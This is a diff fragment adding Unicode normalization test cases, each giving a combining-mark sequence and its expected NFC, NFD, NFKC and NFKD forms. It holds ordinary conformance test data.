+{ source: [0x0061, 0x06D6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D7, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06D7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D8, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06D8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D9, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06D9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DA, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DB, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DC, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DF, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E0, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E1, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E2, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x06E3, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x06E3, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x06E3, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x06E3, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x06E3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x06E3, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x06E3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x06E3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x06E3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x06E3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E4, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E7, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E8, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x06EA, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x06EA, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x06EA, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x06EA, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x06EA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x06EA, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x06EA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x06EA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x06EA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x06EA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06EB, 0x0062], NFC: [0x00E0, 0x05AE, 0x06EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x06EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x06ED, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x06ED, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x06ED, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x06ED, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x06ED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x06ED, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x06ED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x06ED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x06ED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x06ED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0C55, 0x0711, 0x0670, 0x0711, 0x0062], NFC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062] },
+{ source: [0x0061, 0x0711, 0x0C55, 0x0711, 0x0670, 0x0062], NFC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0730, 0x0062], NFC: [0x00E0, 0x05AE, 0x0730, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0730, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0730, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0730, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0730, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0731, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0731, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0731, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0731, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0731, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0731, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0731, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0731, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0731, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0731, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0732, 0x0062], NFC: [0x00E0, 0x05AE, 0x0732, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0732, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0732, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0732, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0732, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0733, 0x0062], NFC: [0x00E0, 0x05AE, 0x0733, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0733, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0733, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0733, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0733, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0734, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0734, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0734, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0734, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0734, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0734, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0734, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0734, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0734, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0734, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0735, 0x0062], NFC: [0x00E0, 0x05AE, 0x0735, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0735, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0735, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0735, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0735, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0736, 0x0062], NFC: [0x00E0, 0x05AE, 0x0736, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0736, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0736, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0736, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0736, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0737, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0737, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0737, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0737, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0737, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0737, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0737, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0737, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0737, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0737, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0738, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0738, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0738, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0738, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0738, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0738, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0738, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0738, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0738, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0738, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0739, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0739, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0739, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0739, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0739, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0739, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0739, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0739, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0739, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0739, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x073A, 0x0062], NFC: [0x00E0, 0x05AE, 0x073A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x073A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x073A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x073A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x073A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x073B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x073B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x073B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x073B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x073B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x073B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x073B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x073B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x073B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x073B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x073C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x073C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x073C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x073C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x073C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x073C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x073C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x073C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x073C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x073C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x073D, 0x0062], NFC: [0x00E0, 0x05AE, 0x073D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x073D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x073D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x073D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x073D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x073E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x073E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x073E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x073E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x073E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x073E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x073E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x073E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x073E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x073E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x073F, 0x0062], NFC: [0x00E0, 0x05AE, 0x073F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x073F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x073F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x073F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x073F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0740, 0x0062], NFC: [0x00E0, 0x05AE, 0x0740, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0740, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0740, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0740, 0x0315, 0x0062] },
